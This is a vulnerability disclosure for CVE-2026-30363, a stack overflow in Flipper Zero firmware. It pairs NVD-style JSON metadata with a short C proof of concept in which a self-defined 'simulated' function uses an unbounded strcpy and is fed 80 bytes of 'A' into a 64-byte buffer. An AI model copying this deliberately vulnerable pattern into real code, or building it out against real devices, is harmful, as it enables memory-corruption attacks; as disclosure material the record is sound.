CVE-2026-30363

#include <stdio.h> #include <string.h> // Simulated vulnerable function in Flipper Zero Firmware (commit ad2a80) void vulnerable_main_function(char* input) { char buffer[64]; // Stack buffer // Vulnerability: No bounds checking on strcpy strcpy(buffer, input); printf("Input processed: %s\n", buffer); } int main() { // Crafting payload to overflow the buffer and overwrite return address // 'A' * 80 bytes to overflow the 64-byte buffer char payload[100]; memset(payload, 0x41, 80); payload[80] = '\0'; printf("[+] Triggering CVE-2026-30363 PoC...\n"); vulnerable_main_function(payload); return 0; }

{"cve": {"id": "CVE-2026-30363", "sourceIdentifier": "[email protected]", "published": "2026-05-01T19:16:29.807", "lastModified": "2026-05-05T20:24:04.853", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "flipperzero-firmware commit ad2a80 was discovered to contain a stack overflow in the \"Main\" function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://gist.github.com/k6dpvrmm8z-glitch/7db9fb648a18ffcd8600bea436486884", "source": "[email protected]"}, {"url": "https://github.com/flipperdevices/flipperzero-firmware/issues/4332", "source": "[email protected]"}, {"url": "https://gist.github.com/k6dpvrmm8z-glitch/7db9fb648a18ffcd8600bea436486884", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}, {"url": "https://github.com/flipperdevices/flipperzero-firmware/issues/4332", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}